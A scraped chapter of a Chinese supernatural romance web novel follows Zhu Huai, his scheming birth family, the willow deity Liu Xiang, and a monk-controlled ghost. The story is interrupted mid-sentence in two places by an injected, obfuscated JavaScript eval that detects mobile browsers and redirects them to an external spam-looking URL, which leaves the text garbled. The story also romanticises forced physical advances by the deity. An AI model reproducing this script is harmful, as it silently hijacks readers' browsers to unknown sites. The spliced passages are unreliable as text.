诸淮和顾愈光长得实在是太像了,几乎是一个模子刻出来的一般,而顾家的长子却又与顾家人的模样截然不同,这些差异中蕴含的意味,几乎是不需要思考便可以得出的答案。 “既然你早就知道,那你为什么不来找我们呢?”顾母忍不住说道。 顾家可是当市有名的企业家,这样的荣华富贵哪里是诸莫那样一个区区厨师就可以供出来的,诸淮既然清楚这些事情,又为什么不来认祖归宗? 哪怕只是沾上一点光都算得上是逆天改命,更何况,诸淮可不是什么私生子。 “我只是认为没有必要。”诸淮笑了笑,他黑亮的眼眸望着顾母,像是看穿了什么。 他早就知道这件事,却没有任何认亲的想法,若不是顾母找上门来,诸淮或许一辈子都不会和顾家人有任何交流。 “这……是这样吗?” 对上那双仿佛看穿一切的眼睛,顾母脸上的表情忽然变得有些扭曲,但她却仍然不愿意放弃。 此后的几个月里,顾母都在不遗余力地给诸淮送上各种珍贵的礼品,甚至想要带着诸淮回到顾家,她仿佛是一个爱护孩子、愧疚极了的母亲一般对诸淮好。 她甚至对诸淮说:“我不奢望你认祖归宗,只是我希望在你父亲生命的最后一段时间里,你可以去见见他。” 顾母终于道出了此行的目的,诸淮的亲生父亲居然是患上了重病,就要死了。 她恳求诸淮回到顾家,去见他最后一面。 “求你了。”顾母坐在一旁,擦着眼角的泪水。 她仿佛没有其他目的,只是想要实现顾父最后的心愿,仿佛如果诸淮不回去,顾父才会真的死了一样。 “是这样吗?”诸淮终于沉默下来,顾父病重的消息并不是演戏,而是真的登上了当地的新闻。 得知这个消息后,顾母慌得几乎失了神,不顾一切地寻找救命稻草,没有人比她更懂自己的丈夫死了之后会发生什么。 但不知是为什么,即使顾母如何去求,也没有任何一位大师愿意伸出援手。 顾母已经绝望了,直到她在偶然间发现了诸淮,他长得那么年轻、那样健康。 顾母一开始甚至不敢置信,直到她偷偷做了亲子鉴定,才发现诸淮居然真的就是她丢失的那个孩子。 天无绝人之路,顾母抓住了这根救命稻草,而在她可怜的恳求下,诸淮也终于是松口,却也只是答应她去见顾父一面。 然而见了一面,却还有一面,顾母恳求他留下来,而顾父也仿佛十分愧疚,甚至对诸淮保证,若是他死了,那么他的遗产将会全部转移到诸淮的名下。 这样庞大的一笔财富足以令任何人发狂,然而诸淮却嗅出了一股奇怪的味道。 顾母还活着,他们还育有另外两个亲生子,顾家还有那么多的孩子,这些遗产,又怎么轮得到诸淮来继承? 若是诸淮利益熏心,被他们的承诺唬得失去了理智,那么他或许真的就会被永远留在顾家,诸淮保持着一份理性,毕竟天上掉下来的馅饼看上去再美味,也是会砸死人的。 而顾父顾母的目的也在之后的接触中终于暴露了出来:他们想要诸淮留在顾家,让诸淮给顾父替命。 他们先是索要诸淮的头发,收集他掉落的发丝;又取走了他的指甲、血液;接着回到祖宅,在族谱上写下他的名字,承认了他顾家人的身份。 最后,诸淮被困在顾家,他日日夜夜地被灌入滋味苦涩的药水,身体一天天衰弱下去,而顾父的身体,却奇迹般的好了起来。 暴露出真实目的的顾家人在那一刻显现出了扭曲的面孔,那些面目可憎,叫嚣着要诸淮来替顾家人还债的身影在面前划过,宛若鬼魅,要将他拖入泛着毒液的泥潭之中,诸淮拼命地挣扎着,那些手脚与声音却在拉着他一同下沉。 直到他在阴差阳错下走进柳家的祖宅,成为柳相的契子,他才侥幸逃得一难,从顾家逃了出去。 从某种程度上来说,是柳相救了他一命。 想到柳相,这个模糊的噩梦就忽然变得清晰了起来,像是一片迷雾在诸淮面前散开,那些魑魅魍魉,宛若厉鬼一般死死抓住诸淮的手脚不让他离开的身影都被一股风吹散开来。 诸淮的面前出现一棵极其庞大的柳树,古树不识年轮,它矗立在柳家的祖宅中,仿佛所有人供奉的神树,无论春夏秋冬都静静地垂落着枝条,树冠繁茂,树根遒劲有力,一路蜿蜒至地底,扎根至无人知晓的地心深处。 这棵树就像是祖宅中的柳相本人一般,无论生死都被困在原地,日夜轮转,时间是一段不断重复的旋律,祖宅里的所有人有着属于自己的节奏,只有祂始终被困在这里,如同树木无法迁走它的根。 在第一眼看见柳相的时候,诸淮就意识到,这是一个不会被外物改变的人,祂的生活始终弹奏着几个单调的音节,柳相就像是一个不会被遗忘,却也不会真正被人注视到的景观。 偌大的祖宅空无一人,仆从像矗立在阴影中的装饰品,不会说话,也不会轻易和其他人交谈。 柳相坐在轮椅上,就那样静静地站在柳树下,周遭的所有人都视他于无形,没有任何人一个人靠近他。 这样的人若不是被所有人厌恶摒弃,就是地位超然却又极其危险,以至于常人不愿靠近,但无论如何,诸淮都要留下来,于是,他主动走了过去,轻轻推动了柳相的轮椅。 光是逐渐靠近对方,冰冷的寒意就像是霜点落在诸淮的身上,冻得他微微一颤,柳相身上散发出的气息不似活人,甚至不像是人类能够散发出的温度。 诸淮打了个冷颤,又搓了搓胳膊,他想换件棉袄过来,这种感觉可真冷啊!但不知为何,像是感受到他在轻轻发颤,那股若有若无的冷意缓缓散去,却变得没有那么冰冷了。 咦? 像是记忆中的某些场景出现了偏差,诸淮明明记得他在初次见到柳相的时候,他的手都快要被冻麻了,却也只能费力地将这位老祖宗推回去,哪怕是冷得打颤,那冰冷的温度也不会因他有任何改变。 诸淮颤栗的模样,与其他仆从恐惧的表情如出一辙,是不会引起柳相注意的千篇一律的样子,但在这一刻,他的身体还没有来得及感应到那片冷意,伸出的那只手却已经像是落入了阳光下,被细细地包裹了起来。 他体会到了一股如沐春风般的温暖。 像是察觉到他的靠近,那道一直低垂着头颅的身影缓缓抬起脸,就露出一张古典美的面孔来。 这真是一张称得上完美的面孔,暗金色的眼眸像是将阳光揉碎了一般,有金色的光辉细细撒落,但诸淮却注意到,他最开始见到柳相时对方的样子,却是一半完美,一半毁容了的。 一个念头这样自然而然地出现在他脑中:现在的这个柳相,是那个已经认识他,与他相知相熟的柳相。 柳相垂下眼睛细细地望着他,忽的伸出手,用力握住他的手腕。 铁铸一般的力道传来,他掌心的温度却是那么温暖,连一点冰冷的感觉都找不到。 看着这张脸,诸淮已经确定了事实,即使是在初遇时再怎么冷漠的存在,在遇到真正所爱的那个人时,也是会忍不住对对方露出温和的那一面来。 即使记忆有所缺失,但骨子里对爱人的偏袒,却仍然会化为温暖的温度落到诸淮身上。 像是知晓诸淮不喜欢阴暗的环境,草长莺飞,日光照耀而下,诸淮只是轻轻眨了眨眼,他所处的梦境便被无形的手变换了样貌,连空气都变得清新起来。 “你是谁?”面前的柳相问道:“你是什么人?你来这里干什么?” 诸淮诧异地望着他,他们第一次见面的时候,柳相根本就没有说过这些话,祭神给他的反馈是冷漠的,像一株枯死的木头,无论说些什么,也只能听见其中传来的空洞回响。 是在诸淮单方面的对他述说了很多很多声音后,柳相才慢慢地给予了他一丝回音,而现在,柳相却在主动开口问他:“你是谁?” 诸淮想,他现在是在做梦吗? 他回答道:“我是来照顾你的,我……” 他的话才说到一半,柳相便像是想通了什么,他说:“我懂了,你是我的契妻,你是来找我的,对吗?” “不是。”诸淮才不是过来当祂老婆的,之前他或许不懂,但现在他当然不能就这么答应。 但一股力量却死死封住了他的嘴,让他什么话都说不出来,一个反驳的声音都吐不出来。 柳相见着他为难的模样还说:“你若是不反驳我,那么就是我说得对咯。” “你简直无耻!”诸淮说:“太过分了,哪里有这么为难人的,我根本不是要过来给你……” 最后的那几个字刚要出声,却死死地堵在了喉咙里,诸淮太生气了,他咬牙切齿地望着柳相,却见到他飞速勾了勾唇,接着又对诸淮说:“你饿了吗?” 这话题转换的速度太快,以至于诸淮反应不过来,便推着柳相向大殿走去,他记得柳相一开始根本不吃人类的食物,祂只食生肉,且吞食香火。 柳家需要供奉祂,但祂却并不需要香火存活,祭神与家族的关系,更像是柳家人在寻求祭神的庇护,而祭神却是不受家族束缚的。 所以对于柳相来说,即使柳家人全部消失了,祂也依旧能够好好地活着,所以这也是为何那些柳家人如此的畏惧祂。 诸淮推着柳相回到了大殿内,为祂整理了今日的供奉,在神像前点上香火。 但柳相却拉着他的手喂了他一些吃的、喝的,吃饱饭后,柳相又接着问道:“你就是这么和我相处的?你平日里还会做些什么?” 诸淮被问得有些茫然起来,他们平时不都是这么做的吗?祖宅内的生活一成不变,最开始时的柳相根本不在意他做了什么、又去了哪里。 诸淮尽着他的本分,务必要照顾好这位身份不明的大佬,所以在诸淮一无所知的时候,他还为柳相洗过头,为他梳理那长长的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241863|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你为我梳头?” 柳相的语气忽然变得古怪起来,诸淮却像是找到了自己要做的事似的,推着柳相来到了温泉。 他将那丝绸般的长发解开,发带落下的那一瞬,柳相的黑发便落进了浴池之中,那些黑发似乎沾染着某种魔魅的气息,每次抚摸它的时候,诸淮似乎都能隐隐察觉到不对劲。 这些头发像是在动…… 一根根头发一圈圈地缠住诸淮的手腕,却又在诸淮的手指间落下,他对上那双暗金色的眼睛,忽的什么话都说不出来了。 他只能将长发浸在水中,为他梳理头发,但那些发丝却越来越多,越来越密集,它们紧紧地缠绕在诸淮的身上,将他死死捆住。 柳相忽然贴了上来,他说:“诸淮,你不知道吗?” “祭神的发丝便是祂的武器,你摸了我的头发,就是要嫁给我的。” 诸淮的手一抖,根本不知道这回事,他说:“那你为什么不拒绝?我在来到柳家的第二天就想给你梳头,你那个时候为什么不解释?” 他回想起自己第一次为柳相梳头时的经历,不由得后知后觉地意识到,为什么那个时候的柳相看着他的眼神会那么不对劲。 “你摸了我的头发就要嫁给我。”柳相说:“难道你要同我说,你什么都不知道?你只是一不小心对我做了这些事,落进我的怀里来的。” 柳相望着面前的人,他的契妻,与他生死相依,完完全全属于他的私有物,一股无法形容的独占欲伴随着神经质的兴奋感生出,他舔了舔唇,便忍不住将诸淮扯过来,就要直接吻上他的唇。 “我第一次亲吻你的时候就是在这里吗?”柳相一边捏住诸淮的脸,一边亲吻着他,一边对他说:“就是现在这幅样子,就是这幅情况?” 诸淮伸出手推拒着他,察觉到他的反抗,柳相站起身,他高大到骇人的身躯几乎是一瞬间盖住了诸淮的身影,也压制住了他所有的挣扎。 他热情、贪婪,透着一股嚼髓吸骨般的狠劲,在诸淮的脖颈处一路亲吻上去,又吮住他的耳垂,亲吻那柔韧的一小团血肉,柳相的呼吸都变得有一瞬间的急促,人类的味道真好,像剥开的石榴,用力咀嚼着充盈的汁水,用舌尖寻找那股甜味:“你的味道真好。” 他忽然亢奋地呼吸着,发现了诸淮右耳上的小痣:”你的耳垂上居然有一颗痣!” 诸淮的手指都被亲得湿漉漉的,他听到这番话后颇有些无语:“第二次了,你怎么又说了一遍同样的话。” 柳相的一个个吻,一句句话都像是急着要落在诸淮身上的雨,要不顾一切地在他身上流淌,诸淮在他面前没有任何反抗的余地。 恍惚之中,诸淮甚至看见柳相的长腿变为了长长的鲛人尾,黑鳞如层层叠叠的密齿般咬合,又似翻涌的海浪般涌动着。 他的每一个吻,都带着让诸淮无法抗拒的力量,柳相不停地亲吻他耳垂上的那颗痣,又将他抱进怀里,抱着被水完全浸湿的诸淮,要用自己的气息包裹住他。 “我早就认识你。”柳相的声音带着一点哑,他狡黠地说:“你瞒不住我,我把其他东西都忘了,但我还记得你。” “我记得你身上的温度,也记得你叫我的名字,求我、可怜的看着我……” 柳相说着,就感到自己的身体亢奋了起来,他的眼珠子都快要落到诸淮身上,为他身上传来的温度而热切地活跃着。 他忍不住笑道:“你求了我很久,最后还哭了起来,我把那些眼泪都吻干了,你就咬住我的喉咙,你喜欢这种感觉。” 他这么说着,就忍不住用力按住诸淮,一连串的吻直接落了下来,带着逐渐激烈的爱语:“我要品尝你的味道,吻遍你的身体。” “你的脑子里面就不能装点其他有用的东西吗?” 诸淮忍不住说道,但被这么大一只鲛人用力按住,他却是连多余的挣扎都做不到的,眼看着自己就要这么被人生吞活剥,诸淮只盼望着会有一个好心人来救他于水火之中,这到底是不是梦? “我的脑子里装的都是你啊。”柳相说着,他脸上的笑意却忽的凝滞,变得极其冷酷,只剩下满地的寒意。 他转过身冷冷地望着某个忽然闯入他的梦境,似乎是要冲着诸淮来的东西,脸上的笑意完全消散。 在诸淮和柳相的面前,一个狰狞的恶鬼似乎是寻找着什么东西而来,在它的手中还捏着一只断腿皮偶,它似乎是来寻找断腿女鬼,却刚刚好撞到了诸淮,进入了他的梦中。 柳相将诸淮的身体遮住,那原本是来索命,钻入诸淮梦中的恶鬼退后、再退后,诸淮抬起身,他的衣服已经被柳相撕碎了,玉白的肌肤上满是吻痕。 诸淮看着那个恶鬼,他的眼中满是感激。 谢谢你,大哥。 柳相冷哼一声,他的鱼尾翻起滔天巨浪,这场梦境便被如脆弱的薄纸般撕碎开来,诸淮睁开眼睛,他只听见一声凄厉的尖叫,断腿女鬼的皮偶掉在地上,而小鲛人则臭着脸,他的手中,正握着一张崭新的陌生皮偶。 “说吧,是谁让你来的?” 柳相悦耳的声音此刻却宛如索命一般,那个皮偶疯狂地挣扎着,还想要和他谈条件。 柳相却是慢条斯理地笑着:“其实我不在乎你的答案,你知道吗?像你这样自作聪明的小鬼,我曾经见过很多。” 他这么说着,手指却已经抓住了这个皮偶,这皮偶似乎意识到了什么,开始不断求饶,诸淮爬了起来,他的脑袋昏昏沉沉,头还有些晕,睁开眼睛时,却只看见那小小的鲛人用极其平淡的表情抓住皮偶,接着将它从腰部撕开了来。 凄厉至极的尖叫声传出,柳相慢慢撕碎皮偶,断腿女鬼望着这一幕吓得几乎昏死过去,他将皮偶的碎末聚集在一起点燃,一道焰火便无风自燃而起,黑烟飘向某个方向。 “这么快就被发现了?” 一座古庙里,一位僧人望着燃烧的牌位皱起眉,接着他伸出手,将牌位前点燃的几炷香掐断,在牌位完全燃烧殆尽前中断了仪式,但即使如此,那断掉的香烛,却也仍然在他的掌心留下了抹不去的伤痕。 14.斗鬼 诸淮呆呆的望着面前的这一幕,他的黑发凌乱,发丝蓬松柔软,脸上还有着淡淡的红印,赫然一副刚刚睡醒时还没有完全清醒的模样。 这幅样子落在柳相眼中就像是在他的胸膛里塞了一大团绒毛似的,挠得他心头痒痒。 让他恨不得立即将面前这个丑东西赶出去,好快快做刚刚没有做完的事。 “啊!”断腿女鬼的皮偶忽然尖叫起来,刚刚发生的事还没有结束。 看见这一幕,诸淮终于清醒过来:“刚刚出现的那个恶鬼是来找你的?” 他对着断腿女鬼说话,对方却没有回答,而是犹如被某种力量摄住魂魄一般,变为了他人手中的傀儡。 古庙内,那远程操控恶鬼的僧人眸光微闪,他张开手,只见到掌心一道烧灼的痕迹清晰呈现,这么久以来,他还是第一次受伤。 “是哪位居士坏我好事?” 僧人缓缓开口,他身着僧袍,却披散着一头长发,站在一棵高大的柳树前,轻声念起了什么。 随着他念出一个名字,矗立在古寺后方的这株高大柳树却是慢慢抬起了长长的柳枝。 这棵柳树前方供奉着许多香火,每一根柳枝都呈现出幽绿色的光泽,树干上更是钉满了符咒。 每一张符咒上方都写着满怀恶意的言语,一枚枚染血的铁钉将符咒死死扎在树干上,破裂的缺口处却流出了鲜红的液体,看上去……简直就像是某种活物。 窸窸窣窣的枝叶碰撞声传来,像是有什么沉重的东西在黑暗中被拖拽而来。 一根柳枝垂落,上面似乎悬挂着什么东西,僧人抬起脸,一枚悬挂在半空中,被柳树缠绕着的牌位出现在他面前。 他的面孔被阴影笼罩,而他则清晰地念出上方的名字:“孤女秦雨化,佛化往生莲位。” 在他念出那个名字的一瞬间,远在其他城市的断腿女鬼却像是被某种东西束缚了一般,忽的撕裂开身形,从一个小小的皮偶变为了女鬼的形态。 它低垂着头,黑雾从它身上不断逸散而出,淡淡的水渍也从它的身上溢出。 它的牌位在僧人手中,却是死后也不得自己,若是违背了僧人的命令,便是要连鬼都做不成。 想到这里,它慢慢抬起脸,眸光怨恨地望向房间内的诸淮,下一秒,它便像是孤注一掷一般,朝着房间的窗户冲去! “它要逃走!” 诸淮没想到女鬼会是这个反应,他还以为这家伙是要跟他拼命了,但显而易见的是,女鬼并没有蠢到那种程度。 柳相没有说话,却是无声无息地出现在了女鬼身前,他手指一点,秦雨化便又重新化为了小小的皮偶。 仿佛两种无形的强大力量在它身上角逐起来,柳相与僧人都用出了各自的手段,仿佛是一场以女鬼为中心所展开的斗法。 “斗鬼。” 殷泉忽然开口,它像是有些害怕,绒毛都紧紧收缩起来,看上去小了一大圈,梳子般的触须都垂了下来。 诸淮听到它的话后有些紧张,女鬼的身影缓缓飘起,在空中时而化为原型,时而变为皮偶。 房间内的黑雾越来越浓郁,让诸淮感到有些冷,鲛人飘在空中,像是遇到了十分有趣的东西,暗金色的眼眸中划过一道流光。 就在此时,面前的女鬼却忽然开口说话了:“这位居士,此鬼对我尚有用处,可否高抬贵手?” 话是这么说,女鬼的身体却传来了撕裂一般的声音,之前还显得那样凶狠的恶鬼,现在却在不断哀嚎。 很显然,对方并不想自己的一些秘密被人发现。 在察觉到秦雨化失去控制,似乎被人押下的时候,他便派出了其他东西前来寻找秦雨化的下落。 但他的运气并不是很好,却是在这样的情况下撞到了柳相头上。 即使本体不得外出,但作为祭神,柳相也是绝不可能就这样放过对方的。 两方人在互相试探中斗在了一起,恶鬼就像是二人手中的小小棋子。 僧人低声念出一声:“罪过。” 下一秒,他面前的牌位便忽的转动起来,朝着某个方向直直地拜了下去! 恶鬼化为原型,它望着面前的柳相迟疑了一瞬,最终选择朝着一旁的诸淮拜下。 柿子要挑软的捏。 恶鬼趴在地上,它的身姿僵硬,像是某个人手中的提线木偶一般重重朝拜下去,发出咚的一声脆响。 恶鬼拜人,它身上的黑雾忽然朝着诸淮的方向涌了过去。 诸淮眼睁睁地望着这一幕,他毫不犹豫地从床上跳了下去,想要避开恶鬼的这一拜,却只感觉自己的身体正在慢慢变得僵硬,手脚都像是浸在冷水中一般。 恍惚间,他被浓郁的黑雾扫了一下,腰部以下的部位就像是失去了所有知觉一般,精神也被拖入某种幻觉之中。 “诸淮。” 柳相喊着他的名字,恶鬼抬起身,它的脸上忽然出现一行大字,正是它的牌位上所写的那段话。 而僧人面前的牌位缓缓抬起,又是要再次跪拜下去。 柳相却垂下眼睛冷冷地望了它一眼,那一瞬间,恶鬼的所有行动都僵硬下来。 浓郁的水雾取代黑雾汹涌而出,却不是从恶鬼身上溢出,而是从柳相身上传来。 一道高挑庞大的人形缓缓抬起脸,血肉生长,细密的黑鳞层层嵌合,在一瞬间化为一条足有三米多长的鱼尾。 一道一头黑发,肤色苍白的身影出现在房间内,他俯视着面前的恶鬼,姿态宛如帝王,便那样一尾巴拍在了它的身上! 沉重的声音传来,诸淮迷迷糊糊地做了一个梦,他的耳边传来什么声音,在呼唤他的名字。 “诸淮、诸淮……” 一道声音呼唤着他,他睁开眼,却见到一张陌生的面孔,她望着诸淮,像是他某个熟悉的人,好熟悉,会是谁呢? 女人说:“诸淮,我是你的……” 一股力量似乎想要让诸淮将她视为亲密的伴侣。 然而在那一瞬间,一张属于男性,美丽到令人物理意义上胆寒,漂亮到惊心动魄的脸浮现在诸淮面前,让他浑身冒出了冷汗,吓得差点当场醒来。 似乎是察觉到诸淮的性取向似乎出现了某种问题,那女人沉默了一瞬,最终还是说:“我是你最好的朋友。” “秦雨化。” 诸淮莫名想到了这个名字,他终于认出面前的人,但不知道为什么,秦雨化看着他的眼神有些不对劲。 并不知道自己在对方眼中是男同性恋的诸淮抬头看了一眼,却发现他现在正站在一座寺庙之中,前方供奉着许多香火。 而在他的面前,一棵高大的柳树近乎遮天蔽日,嫩绿色的枝条垂落在诸淮身上,给他一种莫名的熟悉感。 他望着面前的柳树,嗅闻着柳树上传来的独特清香,恍惚之间,就像是回到了曾经的柳家。 柳家,柳树,柳相,诸淮忽然发现,他与柳树居然有一丝解不开的联系,而在他的手中,却是莫名出现了一张空白的符咒。 秦雨化对他说:“诸淮,你忘了吗?我们是来这里许愿的,据说只要在这里许下的愿望,都可以让人心想事成。” 她似乎是想到了什么,又悄悄过来对诸淮说:“只需要在柳树前拜一拜,在符咒上写下你怨恨之人的名字,许愿符就会满足你的心愿。” “这么神奇?” 诸淮的手中出现了一支笔,他下意识地回想起脑中怨恨之人,亦或是与他有所仇怨的人的名字。 前世想要害死他的父母,欺辱他的柳遥,又或者是在生活中与他有过节的那些人。 一个个恶意的念头像是被催化一般浮现,诸淮看着柳树上系着的一个个许愿符,却仿佛能够从上方看见一段段满怀恶意的言语。 ‘我想要那个该死的老东西去死。’ ‘那个黄脸婆真烦人!她要是能消失就好了。’ ‘我的上司真讨人厌,要是他在回家的路上被车撞死就好了!’ 一个个念头和一个个愿望系在柳树上,像一个个无形的肿瘤寄生在它身上一般,散发出淡淡的黑气。 诸淮望着这一幕,却忽然感觉有些刺眼,要是能将这些东西都解开就好了…… 秦雨化见他迟迟不动手,便忍不住催促道:“你为什么还不动手,你不是也有讨厌的人吗?” “我当然有讨厌的人,但是我也没有想过要让那些人去死。” 诸淮忽然收起了纸和笔,这是他的真实想法。 他看向面前的秦雨化,那黑亮的眼眸像是一面镜子,映出了它真实的一面。 诸淮悄无声息地往后退了一步,又询问道:“这座寺庙既然真的这么神奇,那为什么我从来不知道它的存在,你能告诉我这座寺庙的名字吗?” 秦雨化面无表情地望着他,那张漂亮的脸忽然变得有些模糊起来,像是上方的五官在慢慢变形、浮肿,秦雨化说:“你想套我的话吗?” 诸淮:“你怎么能这么揣测我呢?我只是想知道我到底在哪里。” 秦雨化说:“好吧,这座寺庙叫做灵雨寺。” 诸淮刚记下这个名字,就听见秦雨化呵呵一笑:“骗你的,嘻嘻,想知道啊?自己去慢慢找吧。” 诸淮沉默地后退几步,看着面前的女鬼慢慢变为原型,似乎随时会露出那狰狞的模样来。 现在的人与鬼之间,真是没有任何信任可言了。 “你为什么不写呢?” 秦雨化歪头,好奇地看着他: “写啊,只要写下去,你讨厌的那些人就都会死,难道你不会觉得高兴吗……这都是他们活该的!” “你难道不想要报复那些欺负你的人吗?你难道没有讨厌的人,你不想要让他们死吗?” 秦雨化笑着说:“只要写下了他们的名字,就算是出了什么事,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258113|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不能赖到你的头上。” 诸淮看着她,忽然说:“这是真的吗?” “当然是真的。” “那听上去太好了,但你是鬼,我不相信你的话。”诸淮想了想,又补充道:“嘿嘿。” “你这废物!” 秦雨化见诸淮一副油盐不进的样子,竟是有些生气起来,开始了对诸淮的人身攻击:“你连报复别人都做不到吗?写几个名字而已,你到底为什么不写!” “那你为什么要来缠着我?你死了也不是我害死的你,背后操控你的人也不是我。” 诸淮说着,他眼珠一转,却是怂恿道:“你应该很恨那个操控你的人吧?” “是谁命令你过来的?我现在就可以帮你把他的名字写上去!” “我……” 秦雨化确实有些茫然了,鬼哪里见过现在这个场景,它又怎么敢真的在这上面写上主人的名字。 但这句话还是深深地吸引了它,见到女鬼迟疑的模样,诸淮压低声音,如同魔鬼一般循循善诱: “鬼生就应该勇敢向前,直面困难!” “你都死了,变成这幅样子之后,那家伙还操控你,命令你,你现在变成这幅样子都是他害的!” “你都是恶鬼了,为什么还要听他的命令?难道你不恨他吗?我现在就可以帮你除掉你的仇人!” “告诉我他的名字。”诸淮说。 “是谁命令你来的?难道你连报复别人都不敢吗?写一个名字而已,你到底在犹豫什么?” “我……我……”秦雨化居然有些语无伦次起来,它死了这么久,还是第一次听到这种话。 这一瞬间,秦雨化望着符咒的眼神都有些变了。 它当然恨那个操控它的幕后黑手,恨得想要剥他的皮,喝他的血,若是不听那位僧人的话,秦雨化甚至会魂飞魄散。 它的眼中爆发出惊人的戾气:“不行,我要变成人!我要重新活过来,我不要当鬼了,我要活人的身体!” 看着这一幕,诸淮像是想到了什么:“难道这就是这些恶鬼害人的原因,难不成那个幕后黑手的手上,还有让这些恶鬼重新复活的方法?” 不知为何,诸淮忽然想到鬼换身的任务提示:在这个城市中,有许多被夺走人生、夺走一切的存在。 联想到女鬼所言,难道说它重新拥有身体的方式,就是去霸占活人的身体,去换走别人的人生? 那个操控恶鬼,发放符咒的人究竟想要做些什么?再这样下去,迟早会有越来越多的人受其所害,而那些枉死之人死后,又会不会诞生新的恶鬼? 越想,诸淮就越是心惊,他稳住面前的恶鬼,对他说:“我可以帮你,告诉我他到底是谁?” “徐——”秦雨化刚刚想要吐出一个字,它的身体却如同被某种力量撕碎一般,整张脸都布满了破碎的裂痕。 诸淮面前的景象完全破碎开来,一只苍白有力的手朝着他的方向伸出,将他抱进一个冰冷潮湿的怀抱中。 诸淮睁大眼睛,对上一双暗金色的眼眸,柳相正垂下眼睛望着他,他的侧脸布满了细鳞,似人非人,妖洽美丽,但那种美却充满了锋利的戾气。 他飘在空中,长长的鱼尾便有近三米长,这是深海中最可怖的捕食者。 在他的面前,恶鬼的身体如同融化一般逐渐溶解,被阴寒的水汽淹没。 而僧人面前的牌位也宛如浸泡在深海之中一般流出了冰冷的液体,并迅速化为了锋利的水箭。 他后退一步,却还是被扑面而来的水箭刺伤,一只眼睛失去知觉。 “罪过。”他的半张脸被血浸湿,念了一声佛号,惋惜地看着辛苦培养的水鬼毁在了他人手中。 诸淮落进了一个冰冷的怀抱里,他赤着脚,只感觉自己几乎悬在空中,他无处可依,晃动的脚只能踩在鲛人强而有力的鱼尾上。 上方坚硬锋利的鳞片带来冰冷的触感,柳相的手正牢牢地擒在他的腰上。 他从未见到过这样可怖、这样庞大的生物,他的房间甚至都被柳相塞满了一般,连空气都被挤压到极致。 湿咸的水汽灌满了他的口腔,距离太近了,以至于他只能嗅闻到柳相身上的味道,连呼吸都被完全侵占。 那双冰冷剔透,却毫无感情的眼眸正牢牢地盯着他,像是在看着自己感兴趣的猎物。 二者之间的体型差,导致这俊美帅气的人类,只能被鲛人死死按在怀中。 诸淮和柳相对视着,无法形容的压迫感从面前的鲛人身上传来,压得人几乎喘不过气。 任何人在面对这样庞大的凶兽时都只能表现地像个三岁的孩童,凶戾、强大、冰冷,这就是柳相给人的感觉。 没有任何反抗的余地,诸淮想要挣扎,都像是在给面前的鲛人挠痒痒。 “唉。”面对这样的情况,诸淮显得有些许的紧张,他苦着脸说:“放我下来。”